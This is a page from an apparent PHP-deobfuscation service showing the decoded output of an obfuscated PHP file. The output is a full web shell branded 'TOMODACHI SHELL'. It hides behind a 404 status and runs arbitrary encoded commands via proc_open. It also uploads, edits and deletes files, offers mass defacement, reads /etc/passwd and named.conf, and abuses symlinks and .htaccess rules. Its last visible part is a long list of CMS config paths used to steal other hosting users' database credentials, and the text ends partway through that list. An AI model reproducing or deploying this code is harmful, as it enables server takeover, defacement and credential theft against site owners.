Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?=eval("?>".base64_decode("PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCn..

Decoded Output download

None?>b'<?php
session_start();
error_reporting(0);
set_time_limit(0);
?>
<!DOCTYPE html>
<html>
<head>
    <title>DASHBOARD ADMIN TOMODACHI</title>
    <meta name="author" content="TOMODACHI">
    <meta name="viewport" content="TOMODACHI" />
    <meta name="description" content="Dashboard">
    <meta property="og:description" content="Dashboard Tomodachi">
    <meta property="og:image" content="https://www.upload.ee/image/15940545/logohack.jpg">
    <meta name="robots" content="noindex">
    <meta name="googlebot" content="noindex">
</head>
<link href="" rel="stylesheet" type="text/css">
<body bgcolor="#092756" text="#ffffff">
<style>
    @import url(\'https://fonts.googleapis.com/css?family=Dosis\');
    @import url(\'https://fonts.googleapis.com/css?family=Bungee\');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #786F6F;
}

body::-webkit-scrollbar-thumb {
  background-color: #000;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #8084EC;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #4C53F0;
}

#content .first:hover {
    background-color: #8084EC;
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 2px #4C53F0 dotted;
    table-layout: fixed;
    word-break: break-all;
}
input { 
	margin-bottom: 4px; 
	background: rgba(0,0,0,0.3);
	border: none;
	outline: none;
	padding: 5px;
	font-size: 15px;
	color: #fff;
	text-shadow: 1px 1px 1px rgba(0,0,0,0.3);
	border: 1px solid rgba(0,0,0,0.3);
	border-radius: 14px;
	box-shadow: inset 0 -5px 45px rgba(100,100,100,0.2), 0 1px 1px rgba(255,255,255,0.2);
	-webkit-transition: box-shadow .5s ease;
	-moz-transition: box-shadow .5s ease;
	-o-transition: box-shadow .5s ease;
	-ms-transition: box-shadow .5s ease;
	transition: box-shadow .5s ease;
}

textarea {
    max-width: 100%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
	color: #fff;
	text-shadow: 1px 1px 1px rgba(0,0,0,0.3);
	border: 1px solid rgba(0,0,0,0.3);
	border-radius: 4px;
	box-shadow: inset 0 -5px 45px rgba(100,100,100,0.2), 0 1px 1px rgba(255,255,255,0.2);
	-webkit-transition: box-shadow .5s ease;
	-moz-transition: box-shadow .5s ease;
	-o-transition: box-shadow .5s ease;
	-ms-transition: box-shadow .5s ease;
	transition: box-shadow .5s ease;
	background: rgba(0,0,0,0.3);
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #000000;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #fff;
  border: 3px solid black;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: #757B89;
    text-shadow:0px 0px 10px #4A7BEC;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #4C53F0;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
.button {
background-color: #000;
border: 5px solid #000;
color: #fff;
line-height: 20px;

}.button:hover {
background-color: #fff;
border-color: #59b1eb;
color: #59b1eb;
}
body, a, a:link{cursor:url(http://4.bp.blogspot.com/-hAF7tPUnmEE/TwGR3lRH0EI/AAAAAAAAAs8/6pki22hc3NE/s1600/ass.png), 
	default;
} 
	a:hover {
	cursor:url(http://3.bp.blogspot.com/-bRikgqeZx0Q/TwGR4MUEC7I/AAAAAAAAAtA/isJmS0r35Qw/s1600/pointer.png),
	wait;
}

</style>
<script>
function setfilename(val)
  {
    filename = val.split(\'\\').pop().split(\'/\').pop();
    //filename = filename.substring(0, filename.lastIndexOf(\'.\'));
    document.getElementById(\'namanya\').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bypassdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5">TOMODACHI SHELL</font></center><br>&nbsp;
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">	
<tr><td>
<?php
@set_time_limit(0);
@error_reporting(0);
@http_response_code(404);

$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color=\'gold\'>NONE</font>";
} else {
    $disf = "<font color=\'red\'>".$disfunc."</font>";
}

function author() {
    echo "<center><br>Tomodachi | Tempest Hacker</center>";
    exit();
}

function cekdir() {
    if (isset($_GET[\'path\'])) {
        $lokasi = $_GET[\'path\'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color=\'green\'>Writeable</font>";
    } else {
        return "<font color=\'red\'>Writeable</font>";
    }
}

function cekroot() {
    if (is_writable($_SERVER[\'DOCUMENT_ROOT\'])) {
        return "<font color=\'green\'>Writeable</font>";
    } else {
        return "<font color=\'red\'>Writeable</font>";
    }
}

function xrmdir($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === \'.\' || $item === \'..\') {
            continue;
        }
        $path = $dir.\'/\'.$item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}

function dunlut($file) {
    if (!is_readable($file)) {
        red("Cannot Download File / Unreadable File !");
        die();
    }
    header(\'Content-Description: File Transfer\');
    header(\'Content-Type: application/octet-stream\');
    header(\'Content-Disposition: attachment; filename="\'.basename($file).\'"\');
    header(\'Expires: 0\');
    header(\'Cache-Control: must-revalidate\');
    header(\'Pragma: public\');
    header(\'Content-Length: \' . filesize($filepath));
    flush();
    readfile($file);
    die();
}

function owner($file) {
    if (function_exists("posix_getpwuid")) {
        $tod = @posix_getpwuid(fileowner($file));
        return "<center>".$tod[\'name\']."</center>";
    } else {
        return "<center>".fileowner($file)."</center>";
    }
}

function cekwrite($lokasi) {
    $izin = substr(sprintf(\'%o\', fileperms($lokasi)), -4);
    if (is_writable($lokasi)) {
        return "<font color=green>".$izin."</font>";
    } else {
        return "<font color=red>".$izin."</font>";
    }
}

function ekse($komend, $lokasi) {
    if (!function_exists("proc_open")) {
        die("proc_open function disabled !");
    } elseif (!function_exists("base64_decode")) {
        die("base64_decode function disabled !");
    }
    $komen = base64_decode(base64_decode(base64_decode($komend)));
    $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
    echo "<textarea rows=\'25\' cols=\'100\'>".htmlspecialchars(stream_get_contents($pipes[1]))."</textarea><br><br>";
}

function ipserv() {
    if (empty($_SERVER[\'SERVER_ADDR\'])) {
        return gethostbyname($_SERVER[\'SERVER_NAME\']);
        if (empty(gethostbyname($_SERVER[\'SERVER_NAME\']))) {
            return $_SERVER[\'SERVER_NAME\'];
        }
    } else {
        return $_SERVER[\'SERVER_ADDR\'];
    }
}

function cekfile($file) {
     return \'<i class="fa fa-file" style="color: #d6d4ce"></i> \';
}

function filedate($file) {
    return date("F d Y g:i:s", filemtime($file));
}

function unzip($file, $lokasi) {
    if (!is_readable($file)) {
        red("Cannot Unzip File / Unreadable File !");
        die();
    } elseif (strpos(file_get_contents($file), "PK") === false) {
        red("This isn\'t Zip File !");
        die();
    }
    $zip = new ZipArchive;
    $res = $zip -> open($file);
    if ($res == true) {
        $zip -> extractTo($lokasi);
        $zip -> close();
        green("Success Unzip File !");
    } else {
        red("Failed to Unzip File !");
    }
}

function green($text) {
    echo "<center><font color=\'green\'>".$text."</center></font>";
}

function red($text) {
    echo "<center><font color=\'red\'>".$text."</center></font>";
}

if (function_exists("mysql_connect")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; cURL : ";
if (function_exists("curl_init")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; WGET : ";
if (file_exists("/usr/bin/wget")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Perl : ";
if (file_exists("/usr/bin/perl")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Python : ";
if (file_exists("/usr/bin/python2")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}

foreach($_POST as $key => $value){
    $_POST[$key] = stripslashes($value);
}

if(isset($_GET[\'path\'])){
    $lokasi = $_GET[\'path\'];
    $lokdua = $_GET[\'path\'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}

$lokasi = str_replace(\'\\',\'/\',$lokasi);
$lokasis = explode(\'/\',$lokasi);
$lokasinya = @scandir($lokasi);

echo "<br>Directory (".cekwrite($lokasi).") : &nbsp;";

foreach($lokasis as $id => $lok){
    if($lok == \'\' && $id == 0){
        $a = true;
        echo \'<a href="?path=/">/</a>\';
        continue;
    }
    if($lok == \'\') continue;
    echo \'<a href="?path=\';
    for($i=0;$i<=$id;$i++){
    echo "$lokasis[$i]";
    if($i != $id) echo "/";
} 
echo \'">\'.$lok.\'</a>/\';
}

echo \'</td></tr><tr><td>\';
if (isset($_POST[\'upwkwkwk\'])) {
    if ($_POST[\'dirnya\'] == "2") {
            $lokasi = $_SERVER[\'DOCUMENT_ROOT\'];
        }
    if (isset($_POST[\'berkasnya\'])) {
        $data = @file_put_contents($lokasi."/".$_FILES[\'berkas\'][\'name\'], @file_get_contents($_FILES[\'berkas\'][\'tmp_name\']));
        if (file_exists($lokasi."/".$_FILES[\'berkas\'][\'name\'])) {
            echo "File Uploaded ! &nbsp;<font color=\'gold\'><i>".$lokasi."/".$_FILES[\'berkas\'][\'name\']."</i></font><br><br>";
        } else {
            echo "<font color=\'red\'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST[\'linknya\'])) {
        if (empty($_POST[\'namalink\'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST[\'dirnya\'] == "2") {
            $lokasi = $_SERVER[\'DOCUMENT_ROOT\'];
        }
        $data = @file_put_contents($lokasi."/".$_POST[\'namalink\'], @file_get_contents($_POST[\'darilink\']));
        if (file_exists($lokasi."/".$_POST[\'namalink\'])) {
            echo "File Uploaded ! &nbsp;<font color=\'gold\'><i>".$lokasi."/".$_POST[\'namalink\']."</i></font><br><br>";
        } else {
            echo "<font coloe=\'red\'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST[\'bepas\'])) {
        $bepasdata = $_POST[\'bepasdata\'];
        $bepasnama = $_POST[\'bepasnama\'];
        if ($bepasdata) {
            echo "string";
        }
        @file_put_contents($lokasi."/".$bepasnama, $bepasdata);
        if (file_exists($lokasi."/".$bepasnama)) {
            echo "File Uploaded ! &nbsp;<font color=\'gold\'><i>".$lokasi."/".$bepasnama."</i></font><br><br>";
        } else {
            echo "<font coloe=\'red\'>Failed to Upload !<br><br>";
        }
    }
}

echo "</table><br>";
echo \'<table width="100%" border="0" cellpadding="5" cellspacing="5" align="center">\';
echo \'<th> &nbsp;<a class="button" href="\'.$_SERVER[\'SCRIPT_NAME\'].\'">Home</a>&nbsp; </th>\';
echo \'<th> &nbsp;<a class="button" href="?path=\'.$lokasi.\'&komend=tomodachi">&#9741; Command</a>&nbsp; </th>\';
echo \'<th> &nbsp;<a class="button" href="?path=\'.$lokasi.\'&upload=tomodachi">&#9741; Upload File</a>&nbsp; </th>\';
echo \'<th> &nbsp;<a class="button" href="?path=\'.$lokasi.\'&info=tomodachi">&#9741;Info Server</a>&nbsp; </th>\';
echo \'<th> &nbsp;<a class="button" href="?path=\'.$lokasi.\'&buatfile=tomodachi">&#9741; Buat File</a>&nbsp; </th>\';
echo \'<th> &nbsp;<a class="button" href="?path=\'.$lokasi.\'&mass=tomodachi">&#9741; Mass deface</a>&nbsp; </th>\';
echo \'<th> &nbsp;<a class="button" href="?path=\'.$lokasi.\'&jump=tomodachi">&#9741; Jumping</a>&nbsp; </th>\';
echo \'<th> &nbsp;<a class="button" href="?path=\'.$lokasi.\'&config=tomodachi">&#9741; Config</a>&nbsp; </th>\';
echo \'<th> &nbsp;<a class="button" href="?path=\'.$lokasi.\'&symlink=tomodachi">&#9741; Symlink</a>&nbsp; </th>\';
echo \'<th> &nbsp;<a class="button" href="?path=\'.$lokasi.\'&about=tomodachi">&#9741; About</a>&nbsp; </th>\';
echo "</table><br>";

if (isset($_GET[\'fileloc\'])) {
    echo "<tr><td>Current File : ".$_GET[\'fileloc\'];
    echo \'</tr></td></table><br/>\';
    echo "<pre>".htmlspecialchars(file_get_contents($_GET[\'fileloc\']))."</pre>";
    author();
} elseif (isset($_GET[\'pilihan\']) && $_POST[\'pilih\'] == "hapus") {
    if (is_dir($_POST[\'path\'])) {
        xrmdir($_POST[\'path\']);
        if (file_exists($_POST[\'path\'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
        }
    } elseif (is_file($_POST[\'path\'])) {
        @unlink($_POST[\'path\']);
        if (file_exists($_POST[\'path\'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File <i>".basename($_POST[\'path\'])."</i> Success !");
        }
    }
} elseif (isset($_GET[\'pilihan\']) && $_POST[\'pilih\'] == "gantinama") {
    if (isset($_POST[\'gantin\'])) {
        $ren = @rename($_POST[\'path\'], $_POST[\'newname\']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST[\'name\'])) {
        $namaawal = $_POST[\'newname\'];
    } else {
        $namawal = $_POST[\'name\'];
    }
    echo "<center>".$_POST[\'path\']."<br>";
    echo \'<form method="post">
    New Name : <input name="newname" type="text" class="up" size="20" value="\'.$namaawal.\'" />
    <input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
    <input type="hidden" name="pilih" value="gantinama">
    <input type="submit" value="Change" name="gantin" class="button" style="cursor: pointer; border-color: #fff"/>
    </form>\';
} elseif (isset($_GET[\'pilihan\']) && $_POST[\'pilih\'] == "edit") {
    if (isset($_POST[\'gasedit\'])) {
        $edit = @file_put_contents($_POST[\'path\'], $_POST[\'src\']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>".$_POST[\'path\']."<br><br>";
    echo \'<form method="post">
    <textarea cols=80 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br>
    <input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
    <input type="hidden" name="pilih" value="edit">
    <input type="submit" value="Edit File" name="gasedit" class="button" />
    </form><br>\';
} elseif (isset($_GET[\'pilihan\']) && $_POST[\'pilih\'] == "download") {
    dunlut($_POST[\'path\']);
} elseif (isset($_GET[\'pilihan\']) && $_POST[\'pilih\'] == "unzip") {
    unzip($_POST[\'path\'], $lokasi);
} elseif ($_REQUEST[\'upload\'] == "tomodachi") {
    echo "<center>Upload File : ";
    echo \'<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ \'.cekdir().\' ]
<input type="radio" value="2" name="dirnya" >document_root [ \'.cekroot().\' ]
<br>
<input type="hidden" name="upload" value="upload">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<br>403 Upload File<br>
<input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
<input type="hidden" name="bepasnama" id="namanya">
<textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>
<input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
</form><br><br></center>\';
} elseif ($_GET[\'komend\'] == "tomodachi") {
    echo "<center>";
    echo \'<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
    \'.@get_current_user().\'@\'.ipserv().\':~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">
    <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>\';
    if (isset($_POST[\'eksekomend\'])) {
        ekse($_POST[\'komend\'], $lokasi);
    }
    echo "</center>";

} elseif ($_REQUEST[\'symlink\'] == "tomodachi") {
	if (!is_file(\'named.txt\')) {
        $d00m = @file(\'/etc/named.conf\');
    } else {
        $d00m = @file(\'named.txt\');
    }
    if (!$d00m) {
        die("<hr><br><center><a class=\'button\' href=\'?path=$lokasi&symread=tomodachi\'>Bypass Read</a> <a class=\'button\' href=\'?path=$lokasi&sym_404=tomodachi\'>Symlink 404</a> <a class=\'button\' href=\'?path=$lokasi&sym_bypas=tomodachi\'>Symlink Bypass</a><br><br/><font color=\'red\'>Can\'t read   /etc/named.conf</font><br/><br/></center><br>");
    } else {
        echo "[ <a href=\'?path=$dir&symread=tomodachi\'>Bypass Read</a> ] [ <a href=\'?path=$lokasi&sym_404=tomodachi\'>Symlink 404</a> ] [ <a href=\'?path=$lokasi&sym_bypas=tomodachi\'>Symlink Bypass</a> ]<div class=\'tmp\'>
                <table align=\'center\' width=\'100%\'>
                    <thead class=\'bg-info\'>
                        <th>Domains</th>
                        <th>Users</th>
                        <th>symlink </th>
                    </thead>";
        foreach ($d00m as $dom) {
            if (eregi(\'zone\', $dom)) {
                preg_match_all(\'#zone "(.*)"#\', $dom, $domsws);
                flush();
                if (strlen(trim($domsws[1][0])) > 2) {
                    $user = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domsws[1][0]));
                    flush();
                    $site = $user[\'name\'];
                    @symlink(\'/\', \'sym/root\');
                    $site = $domsws[1][0];
                    $ir = \'ir\';
                    $il = \'il\';
                    if (preg_match("/.^$ir/", $domsws[1][0]) or preg_match("/.^$il/", $domsws[1][0])) {
                        $site = ".$domsws[1][0].";
                    }
                    echo "
                                <tr>
                                    <td>
                                        <a target=\'_blank\' href=http://www.".$domsws[1][0].\'/>\'.$site.\' </a>
                                    </td>
                                    <td>
                                        \'.$user[\'name\']."
                                    </td>
                                    <td>
                                        <a href=\'sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'>Symlink</a>
                                    </td>
                                </tr>";
                    flush();
                    flush();
                }
            }
        }
        echo \'</table>
            </div><br/>\';
    }
    exit;
}

if ($_GET[\'symread\'] == \'tomodachi\') {
    echo \'<center>read /etc/named.conf\';
    echo "<form method=\'post\' action=\'?path=$dir&symread=tomodachi&save=1\'>
            <textarea class=\'form-control\' rows=\'15\' cols=\'50\' name=\'file\'>";
    flush();
    flush();
    $file = \'/etc/named.conf\';
    $r3ad = @fopen($file, \'r\');
    if ($r3ad) {
        $content = @fread($r3ad, @filesize($file));
        echo \'\'.htmlentities($content).\'\';
    } elseif (!$r3ad) {
        $r3ad = @highlight_file($file);
    } elseif (!$r3ad) {
        $r3ad = @highlight_file($file);
    } elseif (!$r3ad) {
        $sm = @symlink($file, \'sym.txt\');
        if ($sm) {
            $r3ad = @fopen(\'sym/sym.txt\', \'r\');
            $content = @fread($r3ad, @filesize($file));
            echo \'\'.htmlentities($content).\'\';
        }
    }
    echo "</textarea><br/><input type=\'submit\' class=\'button\' value=\'Save\'/> </form>";
    if (isset($_GET[\'save\'])) {
        $cont = stripcslashes($_POST[\'file\']);
        $f = fopen(\'named.txt\', \'w\');
        $w = fwrite($f, $cont);
        if ($w) {
            echo \'<br/>save has been successfully</center>\';
        }
        fclose($f);
    }
    exit;
}

if ($_GET[\'sym_404\'] == \'tomodachi\') {
    echo \'<center><h2>Symlink 404</h2>
        <form method="post">
            File Target: <input type="text" class="form-control" name="dir" style="width: 250px;height: 20px;" value="/home/public_html/wp-config.php"><br><br>
            Save As: <input type="text" class="form-control" name="isi" style="width: 100px;height: 20px;" placeholder="file.txt"/><br><br/>
            <input type="submit" class="button" value="Execute" name="execute"/>
        </form></center>\';
    if ($_POST[\'execute\']) {
        rmdir(\'tomodachi_sym404\');
        mkdir(\'tomodachi_sym404\', 0777);
        $dir = $_POST[\'dir\'];
        $isi = $_POST[\'isi\'];
        system(\'ln -s \'.$dir.\'tomodachi_sym404/\'.$isi);
        symlink($dir, \'tomodachi_sym404/\'.$isi);
        $inija = fopen(\'tomodachi_sym404/.htaccess\', \'w\');
        fwrite($inija, \'ReadmeName \'.$isi."
Options Indexes FollowSymLinks
DirectoryIndex ids.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any");
        echo\'<a href="/tomodachi_sym404/" target="_blank"> >>Sukses<< </a>\';
    }
    exit;
}

if ($_GET[\'sym_bypas\'] == \'tomodachi\') {
    if (isset($_GET[\'save\']) and isset($_POST[\'file\']) or @filesize(\'passwd.txt\') > 0) {
        $cont = stripcslashes($_POST[\'file\']);
        if (!file_exists(\'passwd.txt\')) {
            $f = @fopen(\'passwd.txt\', \'w\');
            $w = @fwrite($f, $cont);
            fclose($f);
        }
        if ($w or @filesize(\'passwd.txt\') > 0) {
            echo "<div class=\'tmp mb-4\'>
                    <table width=\'100%\'>
                        <thead class=\'bg-info text-center\'>
                            <th>Users</th>
                            <th>symlink</th>
                            <th>FTP</th>
                        </thead>";
            flush();
            $fil3 = file(\'passwd.txt\');
            foreach ($fil3 as $f) {
                $u = explode(\':\', $f);
                $user = $u[\'0\'];
                echo "<tr class=\'text-dark\'>
                                <td class=\'text-left pl-1\'>$user</td>
                                <td>
                                    <a href=\'sym/root/home/$user/public_html\' target=\'_blank\'>Symlink </a>
                                </td>
                                <td>
                                    <a href=\'$pageFTP/sym/root/home/$user/public_html\' target=\'_blank\'>FTP</a>
                                </td>
                            </tr>";
                flush();
                flush();
            }
            die(\'</tr></table></div>\');
        }
    }

    echo \'<center>read /etc/passwd\';
    echo "<br/><form method=\'post\' action=\'?path=$lokasi&sym_bypas=tomodachi&save=1\'>
            <textarea class=\'form-control\' rows=\'15\' cols=\'50\' name=\'file\'>";
    flush();
    $file = \'/etc/passwd\';
    $r3ad = @fopen($file, \'r\');
    if ($r3ad) {
        $content = @fread($r3ad, @filesize($file));
        echo \'\'.htmlentities($content).\'\';
    } elseif (!$r3ad) {
        $r3ad = @highlight_file($file);
    } elseif (!$r3ad) {
        $r3ad = @highlight_file($file);
    } elseif (!$r3ad) {
        for ($uid = 0; $uid < 1000; $uid++) {
            $ara = posix_getpwuid($uid);
            if (!empty($ara)) {
                while (list($key, $val) = each($ara)) {
                    echo "$val:";
                }
                echo "
";
            }
        }
    }
    flush();
    echo "</textarea><br/>
            <input type=\'submit\' class=\'button\' value=\'Symlink\'/><br/>
        </form></center>";
    flush();
    exit;

} elseif ($_REQUEST[\'config\'] == "tomodachi") {
	$etc = fopen(\'/etc/passwd\', \'r\') or die("<center><pre><font color=red>Can\'t read /etc/passwd</font></pre></center>");
    $con = mkdir(\'tomodachi_config\', 0777);
    $isi_htc = "Options all
Require None
Satisfy Any";
    $htc = fopen(\'tomodachi_config/.htaccess\', \'w\');
    fwrite($htc, $isi_htc);
    while ($passwd = fgets($etc)) {
        if ($passwd == \'\' || !$etc) {
            echo "<font color=red>Can\'t read /etc/passwd</font>";
        } else {
            preg_match_all(\'/(.*?):x:/\', $passwd, $user_config);
            foreach ($user_config[1] as $user_con) {
                $user_config_dir = "/home/$user_con/public_html/";
                if (is_readable($user_config_dir)) {
                    $grab_config =
                    [
                        "/home/$user_con/.my.cnf" => \'cpanel\',
                        "/home/$user_con/public_html/config/koneksi.php" => \'Lokomedia\',
                        "/home/$user_con/public_html/forum/config.php" => \'phpBB\',
                        "/home/$user_con/public_html/sites/default/settings.php" => \'Drupal\',
                        "/home/$user_con/public_html/config/settings.inc.php" => \'PrestaShop\',
                        "/home/$user_con/public_html/app/etc/local.xml" => \'Magento\',
                        "/home/$user_con/public_html/admin/config.php" => \'OpenCart\',
                        "/home/$user_con/public_html/application/config/database.php" => \'Ellislab\',
                        "/home/$user_con/public_html/vb/includes/config.php" => \'Vbulletin\',
                        "/home/$user_con/public_html/includes/config.php" => \'Vbulletin\',
                        "/home/$user_con/public_html/forum/includes/config.php" => \'Vbulletin\',
                        "/home/$user_con/public_html/forums/includes/config.php" => \'Vbulletin\',
                        "/home/$user_con/public_html/cc/includes/config.php" => \'Vbulletin\',
                        "/home/$user_con/public_html/inc/config.php" => \'MyBB\',
                        "/home/$user_con/public_html/includes/configure.php" => \'OsCommerce\',
                        "/home/$user_con/public_html/shop/includes/configure.php" => \'OsCommerce\',
                        "/home/$user_con/public_html/os/includes/configure.php" => \'OsCommerce\',
                        "/home/$user_con/public_html/oscom/includes/configure.php" => \'OsCommerce\',
                        "/home/$user_con/public_html/products/includes/configure.php" => \'OsCommerce\',
                        "/home/$user_con/public_html/cart/includes/configure.php" => \'OsCommerce\',
                        "/home/$user_con/public_html/inc/conf_global.php" => \'IPB\',
                        "/home/$user_con/public_html/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/wp/test/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/blog/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/beta/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/portal/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/site/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/wp/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/WP/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/news/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/wordpress/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/test/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/demo/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/home/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/v1/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/v2/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/press/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/new/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/blogs/wp-config.php" => \'Wordpress\',
                        "/home/$user_con/public_html/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/blog/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/submitticket.php" => \'^WHMCS\',
                        "/home/$user_con/public_html/cms/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/beta/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/portal/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/site/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/main/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/home/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/demo/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/test/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/v1/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/v2/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/joomla/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/new/configuration.php" => \'Joomla\',
                        "/home/$user_con/public_html/WHMCS/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/whmcs1/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Whmcs/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/whmcs/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/whmcs/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/WHMC/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Whmc/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/whmc/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/WHM/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Whm/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/whm/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/HOST/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Host/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/host/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/SUPPORTES/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Supportes/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/supportes/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/domains/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/domain/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Hosting/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/HOSTING/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/hosting/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/CART/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Cart/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/cart/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/ORDER/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Order/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/order/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/CLIENT/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Client/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/client/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/CLIENTAREA/submitticket.php" => \'WHMCS\',
